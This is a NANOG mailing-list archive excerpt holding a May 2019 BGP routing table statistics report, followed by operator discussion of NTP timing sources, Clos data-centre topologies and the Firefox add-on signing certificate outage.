APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 04 May, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 749324 Prefixes after maximum aggregation (per Origin AS): 287369 Deaggregation factor: 2.61 Unique aggregates announced (without unneeded subnets): 360025 Total ASes present in the Internet Routing Table: 64054 Prefixes per ASN: 11.70 Origin-only ASes present in the Internet Routing Table: 55085 Origin ASes announcing only one prefix: 23745 Transit ASes present in the Internet Routing Table: 8969 Transit-only ASes present in the Internet Routing Table: 278 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 41 Max AS path prepend of ASN ( 22394) 38 Prefixes from unregistered ASNs in the Routing Table: 25 Number of instances of unregistered ASNs: 29 Number of 32-bit ASNs allocated by the RIRs: 26816 Number of 32-bit ASNs visible in the Routing Table: 21880 Prefixes from 32-bit ASNs in the Routing Table: 96358 Number of bogon 32-bit ASNs visible in the Routing Table: 22 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 247 Number of addresses announced to Internet: 2849998464 Equivalent to 169 /8s, 223 /16s and 134 /24s Percentage of available address space announced: 77.0 Percentage of allocated address space announced: 77.0 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.2 Total number of prefixes smaller than registry allocations: 251361 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 201228 Total APNIC prefixes after maximum aggregation: 58486 APNIC Deaggregation factor: 3.44 Prefixes being announced from the APNIC address blocks: 197671 Unique aggregates announced from the APNIC address blocks: 82489 APNIC Region origin ASes present in the Internet Routing Table: 9671 APNIC Prefixes per ASN: 20.44 APNIC Region origin ASes announcing only one prefix: 2706 APNIC Region transit ASes present in the Internet Routing Table: 1448 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 29 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4684 Number of APNIC addresses announced to Internet: 773599104 Equivalent to 46 /8s, 28 /16s and 47 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 223479 Total ARIN prefixes after maximum aggregation: 104656 ARIN Deaggregation factor: 2.14 Prefixes being announced from the ARIN address blocks: 222695 Unique aggregates announced from the ARIN address blocks: 105382 ARIN Region origin ASes present in the Internet Routing Table: 18450 ARIN Prefixes per ASN: 12.07 ARIN Region origin ASes announcing only one prefix: 6855 ARIN Region transit ASes present in the Internet Routing Table: 1900 Average ARIN Region AS path length visible: 3.9 Max ARIN Region AS path length visible: 41 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2686 Number of ARIN addresses announced to Internet: 1078406272 Equivalent to 64 /8s, 71 /16s and 44 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 45/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 206596 Total RIPE prefixes after maximum aggregation: 98079 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 202985 Unique aggregates announced from the RIPE address blocks: 120427 RIPE Region origin ASes present in the Internet Routing Table: 26018 RIPE Prefixes per ASN: 7.80 RIPE Region origin ASes announcing only one prefix: 11553 RIPE Region transit ASes present in the Internet Routing Table: 3722 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8065 Number of RIPE addresses announced to Internet: 719061632 Equivalent to 42 /8s, 220 /16s and 2 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 96624 Total LACNIC prefixes after maximum aggregation: 21831 LACNIC Deaggregation factor: 4.43 Prefixes being announced from the LACNIC address blocks: 97999 Unique aggregates announced from the LACNIC address blocks: 42441 LACNIC Region origin ASes present in the Internet Routing Table: 8350 LACNIC Prefixes per ASN: 11.74 LACNIC Region origin ASes announcing only one prefix: 2198 LACNIC Region transit ASes present in the Internet Routing Table: 1539 Average LACNIC Region AS path length visible: 5.0 Max LACNIC Region AS path length visible: 31 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 5896 Number of LACNIC addresses announced to Internet: 173846016 Equivalent to 10 /8s, 92 /16s and 174 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21371 Total AfriNIC prefixes after maximum aggregation: 4297 AfriNIC Deaggregation factor: 4.97 Prefixes being announced from the AfriNIC address blocks: 27727 Unique aggregates announced from the AfriNIC address blocks: 9058 AfriNIC Region origin ASes present in the Internet Routing Table: 1270 AfriNIC Prefixes per ASN: 21.83 AfriNIC Region origin ASes announcing only one prefix: 433 AfriNIC Region transit ASes present in the Internet Routing Table: 240 Average AfriNIC Region AS path length visible: 4.9 Max AfriNIC Region AS path length visible: 24 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 549 Number of AfriNIC addresses announced to Internet: 104825856 Equivalent to 6 /8s, 63 /16s and 132 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4735 546 552 TPG-INTERNET-AP TPG Telecom Limited, AU 4538 4569 4192 74 ERX-CERNET-BKB China Education and Rese 7552 3150 1307 56 VIETEL-AS-AP Viettel Group, VN 45899 3027 1737 111 VNPT-AS-VN VNPT Corp, VN 9829 2733 1496 551 BSNL-NIB National Internet Backbone, IN 4766 2545 11120 761 KIXS-AS-KR Korea Telecom, KR 9808 2448 8699 27 CMNET-GD Guangdong Mobile Communication 9394 2175 4898 27 CTTNET China TieTong Telecommunications 4755 2132 429 185 TATACOMM-AS TATA Communications formerl 9498 2054 427 171 BBIL-AP BHARTI Airtel Ltd., IN Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 11492 3649 238 584 CABLEONE - CABLE ONE, INC., US 6327 3636 1325 93 SHAW - Shaw Communications Inc., CA 22773 3398 2974 157 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 7155 3236 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 16509 2596 5494 1130 AMAZON-02 - Amazon.com, Inc., US 16625 2442 1337 1842 AKAMAI-AS - Akamai Technologies, Inc., 30036 2155 349 205 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2147 2749 525 CHARTER-20115 - Charter Communications, 18566 2107 405 108 MEGAPATH5-US - MegaPath Corporation, US 5650 2086 3074 1462 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5430 1629 140 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3225 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2640 520 1908 AKAMAI-ASN1, US 12389 2242 2222 642 ROSTELECOM-AS, RU 34984 2079 343 541 TELLCOM-AS, TR 9121 1668 1692 18 TTNET, TR 13188 1605 100 47 TRIOLAN, UA 9009 1448 151 787 M247, GB 8402 1233 545 15 CORBINA-AS OJSC "Vimpelcom", RU Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5732 3354 602 Uninet S.A. de C.V., MX 10620 3434 535 419 Telmex Colombia S.A., CO 11830 2708 384 34 Instituto Costarricense de Electricidad 7303 1474 1012 253 Telecom Argentina S.A., AR 28573 1361 2234 200 CLARO S.A., BR 6503 1261 433 53 Axtel, S.A.B. de C.V., MX 6147 1199 377 30 Telefonica del Peru S.A.A., PE 3816 1086 523 143 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 964 512 241 Mega Cable, S.A. de C.V., MX 11172 938 144 62 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1179 393 21 LINKdotNET-AS, EG 37611 906 107 9 Afrihost, ZA 24835 888 648 21 RAYA-AS, EG 36992 852 1531 68 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 696 1731 19 TE-AS TE-AS, EG 29571 512 68 12 ORANGE-COTE-IVOIRE, CI 37492 470 470 57 ORANGE-, TN 15706 421 32 6 Sudatel, SD 37342 420 32 1 MOVITEL, MZ Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5732 3354 602 Uninet S.A. de C.V., MX 12479 5430 1629 140 UNI2-AS, ES 7545 4735 546 552 TPG-INTERNET-AP TPG Telecom Limited, AU 4538 4569 4192 74 ERX-CERNET-BKB China Education and Rese 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3649 238 584 CABLEONE - CABLE ONE, INC., US 6327 3636 1325 93 SHAW - Shaw Communications Inc., CA 10620 3434 535 419 Telmex Colombia S.A., CO 22773 3398 2974 157 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 7155 3236 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5430 5290 UNI2-AS, ES 4538 4569 4495 ERX-CERNET-BKB China Education and Research Net 7545 4735 4183 TPG-INTERNET-AP TPG Telecom Limited, AU 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3636 3543 SHAW - Shaw Communications Inc., CA 22773 3398 3241 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 7155 3236 3211 VIASAT-SP-BACKBONE - ViaSat,Inc., US 8551 3225 3180 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 7552 3150 3094 VIETEL-AS-AP Viettel Group, VN 11492 3649 3065 CABLEONE - CABLE ONE, INC., US Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 65551 DOCUMENT 149.165.246.0/24 19782 INDIANAGIGAPOP - Indiana Unive 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit 64011 UNALLOCATED 166.133.128.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& 64011 UNALLOCATED 166.133.192.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ 41.242.92.0/24 37643 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:12 /9:10 /10:37 /11:100 /12:294 /13:570 /14:1131 /15:1907 /16:13322 /17:7970 /18:13900 /19:25647 /20:40217 /21:46333 /22:93436 /23:76231 /24:427307 /25:900 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4359 5430 UNI2-AS, ES 6327 3411 3636 SHAW - Shaw Communications Inc., CA 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2857 3649 CABLEONE - CABLE ONE, INC., US 8551 2679 3225 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 22773 2637 3398 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 7155 2602 3236 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11830 2053 2708 Instituto Costarricense de Electricidad y Telec 18566 2002 2107 MEGAPATH5-US - MegaPath Corporation, US 30036 1905 2155 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1602 2:993 3:6 4:21 5:3157 6:47 7:1 8:1294 9:1 12:1802 13:338 14:1989 15:37 16:4 17:258 18:58 20:51 23:2686 24:2500 25:2 27:2462 31:1973 32:100 35:36 36:853 37:3030 38:1734 39:297 40:121 41:3284 42:781 43:2007 44:148 45:7425 46:3260 47:257 49:1364 50:1107 51:322 52:1012 54:282 55:702 56:6 57:44 58:1711 59:1062 60:499 61:2126 62:2184 63:1831 64:4963 65:2228 66:4835 67:2776 68:1157 69:3524 70:1349 71:622 72:2627 74:2748 75:993 76:555 77:1773 78:1810 79:2276 80:1808 81:1493 82:1126 83:953 84:1135 85:2281 86:523 87:1551 88:1052 89:2629 90:216 91:6569 92:1384 93:2481 94:2485 95:3248 96:943 97:343 98:960 99:678 100:87 101:919 102:553 103:21044 104:3553 105:257 106:782 107:1785 108:699 109:3721 110:1658 111:1977 112:1490 113:1402 114:1139 115:1691 116:1749 117:1906 118:2077 119:1629 120:1020 121:1040 122:2350 123:1651 124:1472 125:1952 128:1246 129:826 130:536 131:1811 132:771 133:222 134:1092 135:241 136:574 137:753 138:2063 139:877 140:645 141:880 142:792 143:1041 144:893 145:492 146:1262 147:841 148:1709 149:924 150:788 151:1013 152:1061 153:335 154:2910 155:919 156:1633 157:975 158:658 159:1952 160:1607 161:929 162:2751 163:812 164:1194 165:1589 166:435 167:1410 168:3271 169:874 170:4105 171:583 172:1583 173:2200 174:1042 175:923 176:2330 177:4211 178:2540 179:1399 180:2059 181:2409 182:2694 183:1091 184:2054 185:15073 186:3674 187:2487 188:2957 189:1968 190:8223 191:1629 192:10066 193:6673 194:5433 195:4118 196:3090 197:1777 198:5888 199:5971 200:7074 201:5106 202:10414 203:10078 204:4553 205:3039 206:3237 207:3234 208:3947 209:4239 210:3915 211:2011 212:3116 213:2958 214:1109 215:55 216:5926 217:2235 218:878 219:587 220:1856 221:969 222:987 223:1363 End of report From chinese.apricot at gmail.com Fri May 3 19:00:33 2019 From: chinese.apricot at gmail.com (william manning) Date: Fri, 3 May 2019 12:00:33 -0700 Subject: NTP question In-Reply-To: References: <552BC4BD-1503-4D3B-8734-4E13A2BCF62F@develooper.com> <95a5410f-8422-4814-e81f-6a02a1af6f2d@nwtime.org> <8767F325-88FE-4793-A75D-F5D97DE0D1B1@beckman.org> <506345a2-80e2-36c7-3e2b-2debbe11d6ad@nwtime.org> <4529C12D-96AB-4AC7-8848-C62D2FAA638D@beckman.org> Message-ID: well, if they all go down, here is my backup clock. On Fri, May 3, 2019 at 10:04 AM Seth Mattinen wrote: > > On 5/1/19 8:35 PM, Mel Beckman wrote: > > But wait. What is the GPS constellation goes down? THEN we have bigger > problems > > > For timing if we lose the WWV stations and CDMA, then it seems the > diversity plan is going to be a combination of US GPS, Galileo, and > GLONASS disciplined sources. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From benm at workonline.africa Fri May 3 19:12:02 2019 From: benm at workonline.africa (Ben Maddison) Date: Fri, 3 May 2019 19:12:02 +0000 Subject: Looking for audiovisual resources on Clos topologies In-Reply-To: <24556.1556904172@turing-police> References: <646cc166-e0a2-0f91-e6b7-d51911abe725@sadiqs.com>, <24556.1556904172@turing-police> Message-ID: Get Outlook for Android ________________________________ From: NANOG on behalf of Valdis Klētnieks Sent: Friday, May 3, 2019 7:22:52 PM To: Sadiq Saif Cc: nanog at nanog.org Subject: Re: Looking for audiovisual resources on Clos topologies On Fri, 03 May 2019 13:08:55 -0400, Sadiq Saif said: > I recently read a APNIC blog post about LINE's network redesign [0] into > a Clos topology. That lead to me RFC7938 [1] which has a fairly minimal > explanation of the topology design itself. >From the APNIC blog: "In the case of LINE's network, where all servers in the data centre are identified by eBGP, more than 10,000 ASNs are required." They've traded L2 VLAN complexity for L3 ASN complexity. What's the old saying in computer science? "All problems can be solved by adding a level of redirection"? > https://blog.apnic.net/2019/05/03/simplicity-is-key-to-network-redesign-for-line/ Apparently, "simplicity" is the new euphemism for "let's push all the surprising emergent effects of our design to someplace new..." -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Sat May 4 01:55:37 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 3 May 2019 19:55:37 -0600 Subject: Widespread Firefox issues Message-ID: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> Just an FYI since this is bound to impact users: https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 Basically, Mozilla forgot to renew an intermediate cert, and people's Firefox browsers have mass-disabled addons. Whoops. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From kmedcalf at dessus.com Sat May 4 02:48:28 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Fri, 03 May 2019 20:48:28 -0600 Subject: Widespread Firefox issues In-Reply-To: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> Message-ID: Clearly false, since it is 2019-05-04 02:46:31.342994 now and nothing whatsoever happened to my Firefox browser, and all the extensions are still working just fine. --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >Bruns >Sent: Friday, 3 May, 2019 19:56 >To: NANOG list >Subject: Widespread Firefox issues > >Just an FYI since this is bound to impact users: > >https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 > >Basically, Mozilla forgot to renew an intermediate cert, and people's >Firefox browsers have mass-disabled addons. > >Whoops. >-- >Brielle Bruns >The Summit Open Source Development Group >http://www.sosdg.org / http://www.ahbl.org From adrian.minta at gmail.com Sat May 4 02:58:40 2019 From: adrian.minta at gmail.com (Adrian Minta) Date: Sat, 4 May 2019 05:58:40 +0300 Subject: Widespread Firefox issues In-Reply-To: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> Message-ID: <83d96764-a04d-003f-70cd-6c94f248d5d8@gmail.com> My temporary solution was to set "xpinstall.signatures.required" to "false". On 5/4/19 4:55 AM, Brielle Bruns wrote: > Just an FYI since this is bound to impact users: > > https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 > > Basically, Mozilla forgot to renew an intermediate cert, and people's > Firefox browsers have mass-disabled addons. > > Whoops. -- Best regards, Adrian Minta From kmedcalf at dessus.com Sat May 4 03:01:27 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Fri, 03 May 2019 21:01:27 -0600 Subject: Widespread Firefox issues In-Reply-To: Message-ID: <5035e04e2962f34aa5e917fe22a54b80@mail.dessus.com> Besides which, if something was signed AT THE TIME when the certificate chain was valid, then that signature will be a valid signature forever (unless one of the certificates in the chain is revoked). The future or current expiry of a certificate or an intermediary has no effect whatsoever on the validity of a signature IF THE CERTIFICATE CHAIN WAS VALID at the time the signature was made, and the chain can be verified TO HAVE BEEN VALID at the time the signature was made. In other words, the fact that subsequent to making a signature the pen ran out of ink does not make the signature invalid. If it did so then there would be no point in having signatures. It may be impossible to make a valid signature with a pen that is out of ink, but that does not invalidate signatures made before the ink ran out. --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces+kmedcalf=dessus.com at nanog.org] On >Behalf Of Keith Medcalf >Sent: Friday, 3 May, 2019 20:48 >To: NANOG list >Subject: RE: Widespread Firefox issues > > >Clearly false, since it is 2019-05-04 02:46:31.342994 now and nothing >whatsoever happened to my Firefox browser, and all the extensions are >still working just fine. > >--- >The fact that there's a Highway to Hell but only a Stairway to Heaven >says a lot about anticipated traffic volume. > > >>-----Original Message----- >>From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Brielle >>Bruns >>Sent: Friday, 3 May, 2019 19:56 >>To: NANOG list >>Subject: Widespread Firefox issues >> >>Just an FYI since this is bound to impact users: >> >>https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 >> >>Basically, Mozilla forgot to renew an intermediate cert, and >people's >>Firefox browsers have mass-disabled addons. >> >>Whoops. >>-- >>Brielle Bruns >>The Summit Open Source Development Group >>http://www.sosdg.org / http://www.ahbl.org > > From mureninc at gmail.com Sat May 4 03:01:40 2019 From: mureninc at gmail.com (Constantine A. Murenin) Date: Fri, 3 May 2019 22:01:40 -0500 Subject: Widespread Firefox issues In-Reply-To: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> References: <472d801c-1777-7b21-6668-8c42f700d007@2mbit.com> Message-ID: On Fri, 3 May 2019 at 20:57, Brielle Bruns wrote: > Just an FYI since this is bound to impact users: > > https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 > > Basically, Mozilla forgot to renew an intermediate cert, and people's > Firefox browsers have mass-disabled addons. > > Whoops. > This is why it's important that every single website on the internet is available ONLY over HTTPS. Don't forget to install an HSTS policy, too, so, if anyone ever visits Kazakhstan or a security-conscious corporate office, they'll be prevented from accessing the cute pictures of cats on your fully static website. Of course, don't forget to abandon HTTP, too, and simply issue 301 Moved Permanently redirects from all HTTP targets to HTTPS, to cover all the bases. Backwards compatibility? Don't you worry — no browser lets anyone remove HSTS, once installed, so, you're golden. And HTTPS links won't fallback to HTTP, either, so, you're good there, too — your cute cats are safe and secure, and once folks link to your new site under https://, your future self will be safe and secure from ever having the option to go insecure again. I mean, why would anyone go "insecure"? Especially now with LetsEncrypt? Oh, wait… Wait a moment, and who's the biggest player behind the HTTPS-only movement? Oh, and Mozilla's one of the biggest backers of LetsEncrypt, too? I see… Well, nothing to see here, move along! #TooBigToFail. C. -------------- next part -------------- An HTML attachment was scrubbed... URL: From kauer at biplane.com.au Sat May 4 03:10:43 2019 From: kauer at biplane.com.au (Karl Auer) Date: Sat, 04 May 2019 13:10:43 +1000 Subject: Widespread Firefox issues In-Reply-To: References: Message-ID: <1556939443.27758.81.camel@biplane.com.au> On Fri, 2019-05-03 at 20:48 -0600, Keith Medcalf wrote: > Clearly false, since it is 2019-05-04 02:46:31.342994 now and nothing > whatsoever happened to my Firefox browser, and all the extensions are > still working just fine. The diagnosis in the OP's message may be false, but there is most definitely a widespread FF issue (or was, maybe fixed now). It affected me and numerous others. Simple temporary fix is to browse to "about:config" and change the value for "xpinstall.signatures.required" to false. Well, that worked for me, anyway. When Mozilla fixes whatever the issue is, I'll set it back to true.  BTW it hit at midnight UTC,so different people saw the effect at different times depending on their timezone. Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer at biplane.com.au) http://www.biplane.com.au/kauer http://twitter.com/kauer389 GPG fingerprint: 8D08 9CAA 649A AFEF E862 062A 2E97 42D4 A2A0 616D Old fingerprint: A0CD 28F0 10BE FC21 C57C 67C1 19A6 83A4 9B0B 1D75 From kmedcalf at dessus.com Sat May 4 03:14:53 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Fri, 03 May 2019 21:14:53 -0600 Subject: Widespread Firefox issues In-Reply-To: Message-ID: HTTPS: has nothing to do with the website being "secure". https: means that transport layer security (encryption) is in effect. https: is a PRIVACY measure, not a SECURITY measure. --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Constantine >A. Murenin >Sent: Friday, 3 May, 2019 21:02 >To: Brielle Bruns >Cc: NANOG list >Subject: Re: Widespread Firefox issues > >On Fri, 3 May 2019 at 20:57, Brielle Bruns wrote: > > > Just an FYI since this is bound to impact users: > > https://bugzilla.mozilla.org/show_bug.cgi?id=1548973 > > Basically, Mozilla forgot to renew an intermediate cert, and >people's > Firefox browsers have mass-disabled addons. > > Whoops. > > > >This is why it's important that every single website on the internet >is available ONLY over HTTPS. Don't forget to install an HSTS >policy, too, so, if anyone ever visits Kazakhstan or a security- >conscious corporate office, they'll be prevented from accessing the >cute pictures of cats on your fully static website. Of course, don't >forget to abandon HTTP, too, and simply issue 301 Moved Permanently >redirects from all HTTP targets to HTTPS, to cover all the bases. > >Backwards compatibility? Don't you worry — no browser lets anyone >remove HSTS, once installed, so, you're golden. And HTTPS links >won't fallback to HTTP, either, so, you're good there, too — your >cute cats are safe and secure, and once folks link to your new site >under https://, your future self will be safe and secure from ever >having the option to go insecure again. I mean, why would anyone go >"insecure"? Especially now with LetsEncrypt? > > >Oh, wait… > > >Wait a moment, and who's the biggest player behind the HTTPS-only >movement? Oh, and Mozilla's one of the biggest backers of >LetsEncrypt, too? I see… Well, nothing to see here, move along! >#TooBigToFail. > > >C. From bruns at 2mbit.com Sat May 4 03:30:59 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 3 May 2019 21:30:59 -0600 Subject: Widespread Firefox issues In-Reply-To: <1556939443.27758.81.camel@biplane.com.au> References: <1556939443.27758.81.camel@biplane.com.au> Message-ID: On 5/3/2019 9:10 PM, Karl Auer wrote: > The diagnosis in the OP's message may be false, but there is most > definitely a widespread FF issue (or was, maybe fixed now). It affected > me and numerous others. I'm just repeating what was mentioned elsewhere - don't shoot the messenger. We'll have to wait for them to tell us what exactly happened (if they do) to know for sure. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / 